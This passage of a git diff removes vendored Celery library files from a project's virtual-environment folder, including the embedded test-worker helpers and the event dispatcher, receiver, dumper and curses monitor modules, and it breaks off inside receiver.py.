consumer=consumer) - - def ensure_started(self): - # type: () -> None - """Wait for worker to be fully up and running. - - Warning: - Worker must be started within a thread for this to work, - or it will block forever. - """ - self._on_started.wait() - - -@contextmanager -def start_worker( - app, # type: Celery - concurrency=1, # type: int - pool='solo', # type: str - loglevel=WORKER_LOGLEVEL, # type: Union[str, int] - logfile=None, # type: str - perform_ping_check=True, # type: bool - ping_task_timeout=10.0, # type: float - shutdown_timeout=10.0, # type: float - **kwargs # type: Any -): - # type: (...) -> Iterable - """Start embedded worker. - - Yields: - celery.app.worker.Worker: worker instance. - """ - test_worker_starting.send(sender=app) - - worker = None - try: - with _start_worker_thread(app, - concurrency=concurrency, - pool=pool, - loglevel=loglevel, - logfile=logfile, - perform_ping_check=perform_ping_check, - shutdown_timeout=shutdown_timeout, - **kwargs) as worker: - if perform_ping_check: - from .tasks import ping - with allow_join_result(): - assert ping.delay().get(timeout=ping_task_timeout) == 'pong' - - yield worker - finally: - test_worker_stopped.send(sender=app, worker=worker) - - -@contextmanager -def _start_worker_thread(app: Celery, - concurrency: int = 1, - pool: str = 'solo', - loglevel: Union[str, int] = WORKER_LOGLEVEL, - logfile: Optional[str] = None, - WorkController: Any = TestWorkController, - perform_ping_check: bool = True, - shutdown_timeout: float = 10.0, - **kwargs) -> Iterable[worker.WorkController]: - """Start Celery worker in a thread. - - Yields: - celery.worker.Worker: worker instance. - """ - setup_app_for_worker(app, loglevel, logfile) - if perform_ping_check: - assert 'celery.ping' in app.tasks - # Make sure we can connect to the broker - with app.connection(hostname=os.environ.get('TEST_BROKER')) as conn: - conn.default_channel.queue_declare - - worker = WorkController( - app=app, - concurrency=concurrency, - hostname=kwargs.pop("hostname", anon_nodename()), - pool=pool, - loglevel=loglevel, - logfile=logfile, - # not allowed to override TestWorkController.on_consumer_ready - ready_callback=None, - without_heartbeat=kwargs.pop("without_heartbeat", True), - without_mingle=True, - without_gossip=True, - **kwargs) - - t = threading.Thread(target=worker.start, daemon=True) - t.start() - worker.ensure_started() - _set_task_join_will_block(False) - - try: - yield worker - finally: - from celery.worker import state - state.should_terminate = 0 - t.join(shutdown_timeout) - if t.is_alive(): - raise RuntimeError( - "Worker thread failed to exit within the allocated timeout. " - "Consider raising `shutdown_timeout` if your tasks take longer " - "to execute." - ) - state.should_terminate = None - - -@contextmanager -def _start_worker_process(app, - concurrency=1, - pool='solo', - loglevel=WORKER_LOGLEVEL, - logfile=None, - **kwargs): - # type (Celery, int, str, Union[int, str], str, **Any) -> Iterable - """Start worker in separate process. - - Yields: - celery.app.worker.Worker: worker instance. - """ - from celery.apps.multi import Cluster, Node - - app.set_current() - cluster = Cluster([Node('testworker1@%h')]) - cluster.start() - try: - yield - finally: - cluster.stopwait() - - -def setup_app_for_worker(app: Celery, loglevel: Union[str, int], logfile: str) -> None: - """Setup the app to be used for starting an embedded worker.""" - app.finalize() - app.set_current() - app.set_default() - type(app.log)._setup = False - app.log.setup(loglevel=loglevel, logfile=logfile) diff --git a/venv/Lib/site-packages/celery/events/__init__.py b/venv/Lib/site-packages/celery/events/__init__.py deleted file mode 100644 index 8e509fb7a186ef7751604427e83af3ac94186f3a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/events/__init__.py +++ /dev/null @@ -1,15 +0,0 @@ -"""Monitoring Event Receiver+Dispatcher. - -Events is a stream of messages sent for certain actions occurring -in the worker (and clients if :setting:`task_send_sent_event` -is enabled), used for monitoring purposes. -""" - -from .dispatcher import EventDispatcher -from .event import Event, event_exchange, get_exchange, group_from -from .receiver import EventReceiver - -__all__ = ( - 'Event', 'EventDispatcher', 'EventReceiver', - 'event_exchange', 'get_exchange', 'group_from', -) diff --git a/venv/Lib/site-packages/celery/events/cursesmon.py b/venv/Lib/site-packages/celery/events/cursesmon.py deleted file mode 100644 index cff26befb3614915c4dac59ca2c377b292b36d7c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/events/cursesmon.py +++ /dev/null @@ -1,534 +0,0 @@ -"""Graphical monitor of Celery events using curses.""" - -import curses -import sys -import threading -from datetime import datetime -from itertools import count -from math import ceil -from textwrap import wrap -from time import time - -from celery import VERSION_BANNER, states -from celery.app import app_or_default -from celery.utils.text import abbr, abbrtask - -__all__ = ('CursesMonitor', 'evtop') - -BORDER_SPACING = 4 -LEFT_BORDER_OFFSET = 3 -UUID_WIDTH = 36 -STATE_WIDTH = 8 -TIMESTAMP_WIDTH = 8 -MIN_WORKER_WIDTH = 15 -MIN_TASK_WIDTH = 16 - -# this module is considered experimental -# we don't care about coverage. - -STATUS_SCREEN = """\ -events: {s.event_count} tasks:{s.task_count} workers:{w_alive}/{w_all} -""" - - -class CursesMonitor: # pragma: no cover - """A curses based Celery task monitor.""" - - keymap = {} - win = None - screen_delay = 10 - selected_task = None - selected_position = 0 - selected_str = 'Selected: ' - foreground = curses.COLOR_BLACK - background = curses.COLOR_WHITE - online_str = 'Workers online: ' - help_title = 'Keys: ' - help = ('j:down k:up i:info t:traceback r:result c:revoke ^c: quit') - greet = f'celery events {VERSION_BANNER}' - info_str = 'Info: ' - - def __init__(self, state, app, keymap=None): - self.app = app - self.keymap = keymap or self.keymap - self.state = state - default_keymap = { - 'J': self.move_selection_down, - 'K': self.move_selection_up, - 'C': self.revoke_selection, - 'T': self.selection_traceback, - 'R': self.selection_result, - 'I': self.selection_info, - 'L': self.selection_rate_limit, - } - self.keymap = dict(default_keymap, **self.keymap) - self.lock = threading.RLock() - - def format_row(self, uuid, task, worker, timestamp, state): - mx = self.display_width - - # include spacing - detail_width = mx - 1 - STATE_WIDTH - 1 - TIMESTAMP_WIDTH - uuid_space = detail_width - 1 - MIN_TASK_WIDTH - 1 - MIN_WORKER_WIDTH - - if uuid_space < UUID_WIDTH: - uuid_width = uuid_space - else: - uuid_width = UUID_WIDTH - - detail_width = detail_width - uuid_width - 1 - task_width = int(ceil(detail_width / 2.0)) - worker_width = detail_width - task_width - 1 - - uuid = abbr(uuid, uuid_width).ljust(uuid_width) - worker = abbr(worker, worker_width).ljust(worker_width) - task = abbrtask(task, task_width).ljust(task_width) - state = abbr(state, STATE_WIDTH).ljust(STATE_WIDTH) - timestamp = timestamp.ljust(TIMESTAMP_WIDTH) - - row = f'{uuid} {worker} {task} {timestamp} {state} ' - if self.screen_width is None: - self.screen_width = len(row[:mx]) - return row[:mx] - - @property - def screen_width(self): - _, mx = self.win.getmaxyx() - return mx - - @property - def screen_height(self): - my, _ = self.win.getmaxyx() - return my - - @property - def display_width(self): - _, mx = self.win.getmaxyx() - return mx - BORDER_SPACING - - @property - def display_height(self): - my, _ = self.win.getmaxyx() - return my - 10 - - @property - def limit(self): - return self.display_height - - def find_position(self): - if not self.tasks: - return 0 - for i, e in enumerate(self.tasks): - if self.selected_task == e[0]: - return i - return 0 - - def move_selection_up(self): - self.move_selection(-1) - - def move_selection_down(self): - self.move_selection(1) - - def move_selection(self, direction=1): - if not self.tasks: - return - pos = self.find_position() - try: - self.selected_task = self.tasks[pos + direction][0] - except IndexError: - self.selected_task = self.tasks[0][0] - - keyalias = {curses.KEY_DOWN: 'J', - curses.KEY_UP: 'K', - curses.KEY_ENTER: 'I'} - - def handle_keypress(self): - try: - key = self.win.getkey().upper() - except Exception: # pylint: disable=broad-except - return - key = self.keyalias.get(key) or key - handler = self.keymap.get(key) - if handler is not None: - handler() - - def alert(self, callback, title=None): - self.win.erase() - my, mx = self.win.getmaxyx() - y = blank_line = count(2) - if title: - self.win.addstr(next(y), 3, title, - curses.A_BOLD | curses.A_UNDERLINE) - next(blank_line) - callback(my, mx, next(y)) - self.win.addstr(my - 1, 0, 'Press any key to continue...', - curses.A_BOLD) - self.win.refresh() - while 1: - try: - return self.win.getkey().upper() - except Exception: # pylint: disable=broad-except - pass - - def selection_rate_limit(self): - if not self.selected_task: - return curses.beep() - task = self.state.tasks[self.selected_task] - if not task.name: - return curses.beep() - - my, mx = self.win.getmaxyx() - r = 'New rate limit: ' - self.win.addstr(my - 2, 3, r, curses.A_BOLD | curses.A_UNDERLINE) - self.win.addstr(my - 2, len(r) + 3, ' ' * (mx - len(r))) - rlimit = self.readline(my - 2, 3 + len(r)) - - if rlimit: - reply = self.app.control.rate_limit(task.name, - rlimit.strip(), reply=True) - self.alert_remote_control_reply(reply) - - def alert_remote_control_reply(self, reply): - - def callback(my, mx, xs): - y = count(xs) - if not reply: - self.win.addstr( - next(y), 3, 'No replies received in 1s deadline.', - curses.A_BOLD + curses.color_pair(2), - ) - return - - for subreply in reply: - curline = next(y) - - host, response = next(subreply.items()) - host = f'{host}: ' - self.win.addstr(curline, 3, host, curses.A_BOLD) - attr = curses.A_NORMAL - text = '' - if 'error' in response: - text = response['error'] - attr |= curses.color_pair(2) - elif 'ok' in response: - text = response['ok'] - attr |= curses.color_pair(3) - self.win.addstr(curline, 3 + len(host), text, attr) - - return self.alert(callback, 'Remote Control Command Replies') - - def readline(self, x, y): - buffer = '' - curses.echo() - try: - i = 0 - while 1: - ch = self.win.getch(x, y + i) - if ch != -1: - if ch in (10, curses.KEY_ENTER): # enter - break - if ch in (27,): - buffer = '' - break - buffer += chr(ch) - i += 1 - finally: - curses.noecho() - return buffer - - def revoke_selection(self): - if not self.selected_task: - return curses.beep() - reply = self.app.control.revoke(self.selected_task, reply=True) - self.alert_remote_control_reply(reply) - - def selection_info(self): - if not self.selected_task: - return - - def alert_callback(mx, my, xs): - my, mx = self.win.getmaxyx() - y = count(xs) - task = self.state.tasks[self.selected_task] - info = task.info(extra=['state']) - infoitems = [ - ('args', info.pop('args', None)), - ('kwargs', info.pop('kwargs', None)) - ] + list(info.items()) - for key, value in infoitems: - if key is None: - continue - value = str(value) - curline = next(y) - keys = key + ': ' - self.win.addstr(curline, 3, keys, curses.A_BOLD) - wrapped = wrap(value, mx - 2) - if len(wrapped) == 1: - self.win.addstr( - curline, len(keys) + 3, - abbr(wrapped[0], - self.screen_width - (len(keys) + 3))) - else: - for subline in wrapped: - nexty = next(y) - if nexty >= my - 1: - subline = ' ' * 4 + '[...]' - self.win.addstr( - nexty, 3, - abbr(' ' * 4 + subline, self.screen_width - 4), - curses.A_NORMAL, - ) - - return self.alert( - alert_callback, f'Task details for {self.selected_task}', - ) - - def selection_traceback(self): - if not self.selected_task: - return curses.beep() - task = self.state.tasks[self.selected_task] - if task.state not in states.EXCEPTION_STATES: - return curses.beep() - - def alert_callback(my, mx, xs): - y = count(xs) - for line in task.traceback.split('\n'): - self.win.addstr(next(y), 3, line) - - return self.alert( - alert_callback, - f'Task Exception Traceback for {self.selected_task}', - ) - - def selection_result(self): - if not self.selected_task: - return - - def alert_callback(my, mx, xs): - y = count(xs) - task = self.state.tasks[self.selected_task] - result = (getattr(task, 'result', None) or - getattr(task, 'exception', None)) - for line in wrap(result or '', mx - 2): - self.win.addstr(next(y), 3, line) - - return self.alert( - alert_callback, - f'Task Result for {self.selected_task}', - ) - - def display_task_row(self, lineno, task): - state_color = self.state_colors.get(task.state) - attr = curses.A_NORMAL - if task.uuid == self.selected_task: - attr = curses.A_STANDOUT - timestamp = datetime.utcfromtimestamp( - task.timestamp or time(), - ) - timef = timestamp.strftime('%H:%M:%S') - hostname = task.worker.hostname if task.worker else '*NONE*' - line = self.format_row(task.uuid, task.name, - hostname, - timef, task.state) - self.win.addstr(lineno, LEFT_BORDER_OFFSET, line, attr) - - if state_color: - self.win.addstr(lineno, - len(line) - STATE_WIDTH + BORDER_SPACING - 1, - task.state, state_color | attr) - - def draw(self): - with self.lock: - win = self.win - self.handle_keypress() - x = LEFT_BORDER_OFFSET - y = blank_line = count(2) - my, _ = win.getmaxyx() - win.erase() - win.bkgd(' ', curses.color_pair(1)) - win.border() - win.addstr(1, x, self.greet, curses.A_DIM | curses.color_pair(5)) - next(blank_line) - win.addstr(next(y), x, self.format_row('UUID', 'TASK', - 'WORKER', 'TIME', 'STATE'), - curses.A_BOLD | curses.A_UNDERLINE) - tasks = self.tasks - if tasks: - for row, (_, task) in enumerate(tasks): - if row > self.display_height: - break - - if task.uuid: - lineno = next(y) - self.display_task_row(lineno, task) - - # -- Footer - next(blank_line) - win.hline(my - 6, x, curses.ACS_HLINE, self.screen_width - 4) - - # Selected Task Info - if self.selected_task: - win.addstr(my - 5, x, self.selected_str, curses.A_BOLD) - info = 'Missing extended info' - detail = '' - try: - selection = self.state.tasks[self.selected_task] - except KeyError: - pass - else: - info = selection.info() - if 'runtime' in info: - info['runtime'] = '{:.2f}'.format(info['runtime']) - if 'result' in info: - info['result'] = abbr(info['result'], 16) - info = ' '.join( - f'{key}={value}' - for key, value in info.items() - ) - detail = '... -> key i' - infowin = abbr(info, - self.screen_width - len(self.selected_str) - 2, - detail) - win.addstr(my - 5, x + len(self.selected_str), infowin) - # Make ellipsis bold - if detail in infowin: - detailpos = len(infowin) - len(detail) - win.addstr(my - 5, x + len(self.selected_str) + detailpos, - detail, curses.A_BOLD) - else: - win.addstr(my - 5, x, 'No task selected', curses.A_NORMAL) - - # Workers - if self.workers: - win.addstr(my - 4, x, self.online_str, curses.A_BOLD) - win.addstr(my - 4, x + len(self.online_str), - ', '.join(sorted(self.workers)), curses.A_NORMAL) - else: - win.addstr(my - 4, x, 'No workers discovered.') - - # Info - win.addstr(my - 3, x, self.info_str, curses.A_BOLD) - win.addstr( - my - 3, x + len(self.info_str), - STATUS_SCREEN.format( - s=self.state, - w_alive=len([w for w in self.state.workers.values() - if w.alive]), - w_all=len(self.state.workers), - ), - curses.A_DIM, - ) - - # Help - self.safe_add_str(my - 2, x, self.help_title, curses.A_BOLD) - self.safe_add_str(my - 2, x + len(self.help_title), self.help, - curses.A_DIM) - win.refresh() - - def safe_add_str(self, y, x, string, *args, **kwargs): - if x + len(string) > self.screen_width: - string = string[:self.screen_width - x] - self.win.addstr(y, x, string, *args, **kwargs) - - def init_screen(self): - with self.lock: - self.win = curses.initscr() - self.win.nodelay(True) - self.win.keypad(True) - curses.start_color() - curses.init_pair(1, self.foreground, self.background) - # exception states - curses.init_pair(2, curses.COLOR_RED, self.background) - # successful state - curses.init_pair(3, curses.COLOR_GREEN, self.background) - # revoked state - curses.init_pair(4, curses.COLOR_MAGENTA, self.background) - # greeting - curses.init_pair(5, curses.COLOR_BLUE, self.background) - # started state - curses.init_pair(6, curses.COLOR_YELLOW, self.foreground) - - self.state_colors = {states.SUCCESS: curses.color_pair(3), - states.REVOKED: curses.color_pair(4), - states.STARTED: curses.color_pair(6)} - for state in states.EXCEPTION_STATES: - self.state_colors[state] = curses.color_pair(2) - - curses.cbreak() - - def resetscreen(self): - with self.lock: - curses.nocbreak() - self.win.keypad(False) - curses.echo() - curses.endwin() - - def nap(self): - curses.napms(self.screen_delay) - - @property - def tasks(self): - return list(self.state.tasks_by_time(limit=self.limit)) - - @property - def workers(self): - return [hostname for hostname, w in self.state.workers.items() - if w.alive] - - -class DisplayThread(threading.Thread): # pragma: no cover - - def __init__(self, display): - self.display = display - self.shutdown = False - super().__init__() - - def run(self): - while not self.shutdown: - self.display.draw() - self.display.nap() - - -def capture_events(app, state, display): # pragma: no cover - - def on_connection_error(exc, interval): - print('Connection Error: {!r}. Retry in {}s.'.format( - exc, interval), file=sys.stderr) - - while 1: - print('-> evtop: starting capture...', file=sys.stderr) - with app.connection_for_read() as conn: - try: - conn.ensure_connection(on_connection_error, - app.conf.broker_connection_max_retries) - recv = app.events.Receiver(conn, handlers={'*': state.event}) - display.resetscreen() - display.init_screen() - recv.capture() - except conn.connection_errors + conn.channel_errors as exc: - print(f'Connection lost: {exc!r}', file=sys.stderr) - - -def evtop(app=None): # pragma: no cover - """Start curses monitor.""" - app = app_or_default(app) - state = app.events.State() - display = CursesMonitor(state, app) - display.init_screen() - refresher = DisplayThread(display) - refresher.start() - try: - capture_events(app, state, display) - except Exception: - refresher.shutdown = True - refresher.join() - display.resetscreen() - raise - except (KeyboardInterrupt, SystemExit): - refresher.shutdown = True - refresher.join() - display.resetscreen() - - -if __name__ == '__main__': # pragma: no cover - evtop() diff --git a/venv/Lib/site-packages/celery/events/dispatcher.py b/venv/Lib/site-packages/celery/events/dispatcher.py deleted file mode 100644 index 1969fc21c629249b031e77c004310ff55a67c8f5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/events/dispatcher.py +++ /dev/null @@ -1,229 +0,0 @@ -"""Event dispatcher sends events.""" - -import os -import threading -import time -from collections import defaultdict, deque - -from kombu import Producer - -from celery.app import app_or_default -from celery.utils.nodenames import anon_nodename -from celery.utils.time import utcoffset - -from .event import Event, get_exchange, group_from - -__all__ = ('EventDispatcher',) - - -class EventDispatcher: - """Dispatches event messages. - - Arguments: - connection (kombu.Connection): Connection to the broker. - - hostname (str): Hostname to identify ourselves as, - by default uses the hostname returned by - :func:`~celery.utils.anon_nodename`. - - groups (Sequence[str]): List of groups to send events for. - :meth:`send` will ignore send requests to groups not in this list. - If this is :const:`None`, all events will be sent. - Example groups include ``"task"`` and ``"worker"``. - - enabled (bool): Set to :const:`False` to not actually publish any - events, making :meth:`send` a no-op. - - channel (kombu.Channel): Can be used instead of `connection` to specify - an exact channel to use when sending events. - - buffer_while_offline (bool): If enabled events will be buffered - while the connection is down. :meth:`flush` must be called - as soon as the connection is re-established. - - Note: - You need to :meth:`close` this after use. - """ - - DISABLED_TRANSPORTS = {'sql'} - - app = None - - # set of callbacks to be called when :meth:`enabled`. - on_enabled = None - - # set of callbacks to be called when :meth:`disabled`. - on_disabled = None - - def __init__(self, connection=None, hostname=None, enabled=True, - channel=None, buffer_while_offline=True, app=None, - serializer=None, groups=None, delivery_mode=1, - buffer_group=None, buffer_limit=24, on_send_buffered=None): - self.app = app_or_default(app or self.app) - self.connection = connection - self.channel = channel - self.hostname = hostname or anon_nodename() - self.buffer_while_offline = buffer_while_offline - self.buffer_group = buffer_group or frozenset() - self.buffer_limit = buffer_limit - self.on_send_buffered = on_send_buffered - self._group_buffer = defaultdict(list) - self.mutex = threading.Lock() - self.producer = None - self._outbound_buffer = deque() - self.serializer = serializer or self.app.conf.event_serializer - self.on_enabled = set() - self.on_disabled = set() - self.groups = set(groups or []) - self.tzoffset = [-time.timezone, -time.altzone] - self.clock = self.app.clock - self.delivery_mode = delivery_mode - if not connection and channel: - self.connection = channel.connection.client - self.enabled = enabled - conninfo = self.connection or self.app.connection_for_write() - self.exchange = get_exchange(conninfo, - name=self.app.conf.event_exchange) - if conninfo.transport.driver_type in self.DISABLED_TRANSPORTS: - self.enabled = False - if self.enabled: - self.enable() - self.headers = {'hostname': self.hostname} - self.pid = os.getpid() - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - self.close() - - def enable(self): - self.producer = Producer(self.channel or self.connection, - exchange=self.exchange, - serializer=self.serializer, - auto_declare=False) - self.enabled = True - for callback in self.on_enabled: - callback() - - def disable(self): - if self.enabled: - self.enabled = False - self.close() - for callback in self.on_disabled: - callback() - - def publish(self, type, fields, producer, - blind=False, Event=Event, **kwargs): - """Publish event using custom :class:`~kombu.Producer`. - - Arguments: - type (str): Event type name, with group separated by dash (`-`). - fields: Dictionary of event fields, must be json serializable. - producer (kombu.Producer): Producer instance to use: - only the ``publish`` method will be called. - retry (bool): Retry in the event of connection failure. - retry_policy (Mapping): Map of custom retry policy options. - See :meth:`~kombu.Connection.ensure`. - blind (bool): Don't set logical clock value (also don't forward - the internal logical clock). - Event (Callable): Event type used to create event. - Defaults to :func:`Event`. - utcoffset (Callable): Function returning the current - utc offset in hours. - """ - clock = None if blind else self.clock.forward() - event = Event(type, hostname=self.hostname, utcoffset=utcoffset(), - pid=self.pid, clock=clock, **fields) - with self.mutex: - return self._publish(event, producer, - routing_key=type.replace('-', '.'), **kwargs) - - def _publish(self, event, producer, routing_key, retry=False, - retry_policy=None, utcoffset=utcoffset): - exchange = self.exchange - try: - producer.publish( - event, - routing_key=routing_key, - exchange=exchange.name, - retry=retry, - retry_policy=retry_policy, - declare=[exchange], - serializer=self.serializer, - headers=self.headers, - delivery_mode=self.delivery_mode, - ) - except Exception as exc: # pylint: disable=broad-except - if not self.buffer_while_offline: - raise - self._outbound_buffer.append((event, routing_key, exc)) - - def send(self, type, blind=False, utcoffset=utcoffset, retry=False, - retry_policy=None, Event=Event, **fields): - """Send event. - - Arguments: - type (str): Event type name, with group separated by dash (`-`). - retry (bool): Retry in the event of connection failure. - retry_policy (Mapping): Map of custom retry policy options. - See :meth:`~kombu.Connection.ensure`. - blind (bool): Don't set logical clock value (also don't forward - the internal logical clock). - Event (Callable): Event type used to create event, - defaults to :func:`Event`. - utcoffset (Callable): unction returning the current utc offset - in hours. - **fields (Any): Event fields -- must be json serializable. - """ - if self.enabled: - groups, group = self.groups, group_from(type) - if groups and group not in groups: - return - if group in self.buffer_group: - clock = self.clock.forward() - event = Event(type, hostname=self.hostname, - utcoffset=utcoffset(), - pid=self.pid, clock=clock, **fields) - buf = self._group_buffer[group] - buf.append(event) - if len(buf) >= self.buffer_limit: - self.flush() - elif self.on_send_buffered: - self.on_send_buffered() - else: - return self.publish(type, fields, self.producer, blind=blind, - Event=Event, retry=retry, - retry_policy=retry_policy) - - def flush(self, errors=True, groups=True): - """Flush the outbound buffer.""" - if errors: - buf = list(self._outbound_buffer) - try: - with self.mutex: - for event, routing_key, _ in buf: - self._publish(event, self.producer, routing_key) - finally: - self._outbound_buffer.clear() - if groups: - with self.mutex: - for group, events in self._group_buffer.items(): - self._publish(events, self.producer, '%s.multi' % group) - events[:] = [] # list.clear - - def extend_buffer(self, other): - """Copy the outbound buffer of another instance.""" - self._outbound_buffer.extend(other._outbound_buffer) - - def close(self): - """Close the event dispatcher.""" - self.mutex.locked() and self.mutex.release() - self.producer = None - - def _get_publisher(self): - return self.producer - - def _set_publisher(self, producer): - self.producer = producer - publisher = property(_get_publisher, _set_publisher) # XXX compat diff --git a/venv/Lib/site-packages/celery/events/dumper.py b/venv/Lib/site-packages/celery/events/dumper.py deleted file mode 100644 index 08ee12027cac818d5be88bec9f7863377e97bd85..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/events/dumper.py +++ /dev/null @@ -1,103 +0,0 @@ -"""Utility to dump events to screen. - -This is a simple program that dumps events to the console -as they happen. Think of it like a `tcpdump` for Celery events. -""" -import sys -from datetime import datetime, timezone - -from celery.app import app_or_default -from celery.utils.functional import LRUCache -from celery.utils.time import humanize_seconds - -__all__ = ('Dumper', 'evdump') - -TASK_NAMES = LRUCache(limit=0xFFF) - -HUMAN_TYPES = { - 'worker-offline': 'shutdown', - 'worker-online': 'started', - 'worker-heartbeat': 'heartbeat', -} - -CONNECTION_ERROR = """\ --> Cannot connect to %s: %s. -Trying again %s -""" - - -def humanize_type(type): - try: - return HUMAN_TYPES[type.lower()] - except KeyError: - return type.lower().replace('-', ' ') - - -class Dumper: - """Monitor events.""" - - def __init__(self, out=sys.stdout): - self.out = out - - def say(self, msg): - print(msg, file=self.out) - # need to flush so that output can be piped. - try: - self.out.flush() - except AttributeError: # pragma: no cover - pass - - def on_event(self, ev): - timestamp = datetime.fromtimestamp(ev.pop('timestamp'), timezone.utc) - type = ev.pop('type').lower() - hostname = ev.pop('hostname') - if type.startswith('task-'): - uuid = ev.pop('uuid') - if type in ('task-received', 'task-sent'): - task = TASK_NAMES[uuid] = '{}({}) args={} kwargs={}' \ - .format(ev.pop('name'), uuid, - ev.pop('args'), - ev.pop('kwargs')) - else: - task = TASK_NAMES.get(uuid, '') - return self.format_task_event(hostname, timestamp, - type, task, ev) - fields = ', '.join( - f'{key}={ev[key]}' for key in sorted(ev) - ) - sep = fields and ':' or '' - self.say(f'{hostname} [{timestamp}] {humanize_type(type)}{sep} {fields}') - - def format_task_event(self, hostname, timestamp, type, task, event): - fields = ', '.join( - f'{key}={event[key]}' for key in sorted(event) - ) - sep = fields and ':' or '' - self.say(f'{hostname} [{timestamp}] {humanize_type(type)}{sep} {task} {fields}') - - -def evdump(app=None, out=sys.stdout): - """Start event dump.""" - app = app_or_default(app) - dumper = Dumper(out=out) - dumper.say('-> evdump: starting capture...') - conn = app.connection_for_read().clone() - - def _error_handler(exc, interval): - dumper.say(CONNECTION_ERROR % ( - conn.as_uri(), exc, humanize_seconds(interval, 'in', ' ') - )) - - while 1: - try: - conn.ensure_connection(_error_handler) - recv = app.events.Receiver(conn, handlers={'*': dumper.on_event}) - recv.capture() - except (KeyboardInterrupt, SystemExit): - return conn and conn.close() - except conn.connection_errors + conn.channel_errors: - dumper.say('-> Connection lost, attempting reconnect') - - -if __name__ == '__main__': # pragma: no cover - evdump() diff --git a/venv/Lib/site-packages/celery/events/event.py b/venv/Lib/site-packages/celery/events/event.py deleted file mode 100644 index fd2ee1ebe50498ef9d1b957a9c71ecfefa2287ee..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/events/event.py +++ /dev/null @@ -1,63 +0,0 @@ -"""Creating events, and event exchange definition.""" -import time -from copy import copy - -from kombu import Exchange - -__all__ = ( - 'Event', 'event_exchange', 'get_exchange', 'group_from', -) - -EVENT_EXCHANGE_NAME = 'celeryev' -#: Exchange used to send events on. -#: Note: Use :func:`get_exchange` instead, as the type of -#: exchange will vary depending on the broker connection. -event_exchange = Exchange(EVENT_EXCHANGE_NAME, type='topic') - - -def Event(type, _fields=None, __dict__=dict, __now__=time.time, **fields): - """Create an event. - - Notes: - An event is simply a dictionary: the only required field is ``type``. - A ``timestamp`` field will be set to the current time if not provided. - """ - event = __dict__(_fields, **fields) if _fields else fields - if 'timestamp' not in event: - event.update(timestamp=__now__(), type=type) - else: - event['type'] = type - return event - - -def group_from(type): - """Get the group part of an event type name. - - Example: - >>> group_from('task-sent') - 'task' - - >>> group_from('custom-my-event') - 'custom' - """ - return type.split('-', 1)[0] - - -def get_exchange(conn, name=EVENT_EXCHANGE_NAME): - """Get exchange used for sending events. - - Arguments: - conn (kombu.Connection): Connection used for sending/receiving events. - name (str): Name of the exchange. Default is ``celeryev``. - - Note: - The event type changes if Redis is used as the transport - (from topic -> fanout). - """ - ex = copy(event_exchange) - if conn.transport.driver_type in {'redis', 'gcpubsub'}: - # quick hack for Issue #436 - ex.type = 'fanout' - if name != ex.name: - ex.name = name - return ex diff --git a/venv/Lib/site-packages/celery/events/receiver.py b/venv/Lib/site-packages/celery/events/receiver.py deleted file mode 100644 index bda50a100837bbbe470e37cb774e80996f6084c5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/events/receiver.py +++ /dev/null @@ -1,149 +0,0 @@ -"""Event receiver implementation.""" -import time -from operator import itemgetter - -from kombu import Queue -from kombu.connection import maybe_channel -from kombu.mixins import ConsumerMixin - -from celery import uuid -from celery.app import app_or_default -from celery.exceptions import ImproperlyConfigured -from celery.utils.time import adjust_timestamp - -from .event import get_exchange - -__all__ = ('EventReceiver',) - -CLIENT_CLOCK_SKEW = -1 - -_TZGETTER = itemgetter('utcoffset', 'timestamp') - - -class EventReceiver(ConsumerMixin): - """Capture events. - - Arguments: - connection (kombu.Connection): Connection to the broker. - handlers (Mapping[Callable]): Event handlers. - This is a map of event type names and their handlers. - The special handler `"*"` captures all events that don't have a - handler. - """ - - app = None - - def __init__(self, channel, handlers=None, routing_key='#', - node_id=None, app=None, queue_prefix=None, - accept=None, queue_ttl=None, queue_expires=None, - queue_exclusive=None, - queue_durable=None): - self.app = app_or_default(app or self.app) - self.channel = maybe_channel(channel) - self.handlers = {} if handlers is None else handlers - self.routing_key = routing_key - self.node_id = node_id or uuid() - self.queue_prefix = queue_prefix or self.app.conf.event_queue_prefix - self.exchange = get_exchange( - self.connection or self.app.connection_for_write(), - name=self.app.conf.event_exchange) - if queue_ttl is None: - queue_ttl = self.app.conf.event_queue_ttl - if queue_expires is None: - queue_expires = self.app.conf.event_queue_expires - if queue_exclusive is None: - queue_exclusive = self.app.conf.event_queue_exclusive - if queue_durable is None: - queue_durable = self.app.conf.event_queue_durable - if queue_exclusive and queue_durable: - raise ImproperlyConfigured( - 'Queue cannot be both exclusive and durable, ' - 'choose one or the other.' - ) - self.queue = Queue( - '.'.join([self.queue_prefix, self.node_id]), - exchange=self.exchange, - routing_key=self.routing_key, - auto_delete=not queue_durable, - durable=queue_durable, - exclusive=queue_exclusive, - message_ttl=queue_ttl, - expires=queue_expires, - ) - self.clock = self.app.clock - self.adjust_clock = self.clock.adjust - self.forward_clock = self.clock.forward - if accept is None: - accept = {self.app.conf.event_serializer, 'json'} - self.accept = accept - - def process(self, type, event): - """Process event by dispatching to configured handler.""" - handler = self.handlers.get(type) or self.handlers.get('*') - handler and handler(event) - - def get_consumers(self, Consumer, channel): - return [Consumer(queues=[self.queue], - callbacks=[self._receive], no_ack=True, - accept=self.accept)] - - def on_consume_ready(self, connection, channel, consumers, - wakeup=True, **kwargs): - if wakeup: - self.wakeup_workers(channel=channel) - - def itercapture(self, limit=None, timeout=None, wakeup=True): - return self.consume(limit=limit, timeout=timeout, wakeup=wakeup) - - def capture(self, limit=None, timeout=None, wakeup=True): - """Open up a consumer capturing events. - - This has to run in the main process, and it will never stop - unless :attr:`EventDispatcher.should_stop` is set to True, or - forced via :exc:`KeyboardInterrupt` or :exc:`SystemExit`. - """ - for _ in self.consume(limit=limit, timeout=timeout, wakeup=wakeup): - pass - - def wakeup_workers(self, channel=None): - self.app.control.broadcast('heartbeat', - connection=self.connection, - channel=channel) - - def event_from_message(self, body, localize=True, - now=time.time, tzfields=_TZGETTER, - adjust_timestamp=adjust_timestamp, - CLIENT_CLOCK_SKEW=CLIENT_CLOCK_SKEW): - type = body['type'] - if type == 'task-sent': - # clients never sync so cannot use their clock value - _c = body['clock'] = (self.clock.value or 1) + CLIENT_CLOCK_SKEW - self.adjust_clock(_c) - else: - try: - clock = body['clock'] - except KeyError: - body['clock'] = self.forward_clock() - else: - 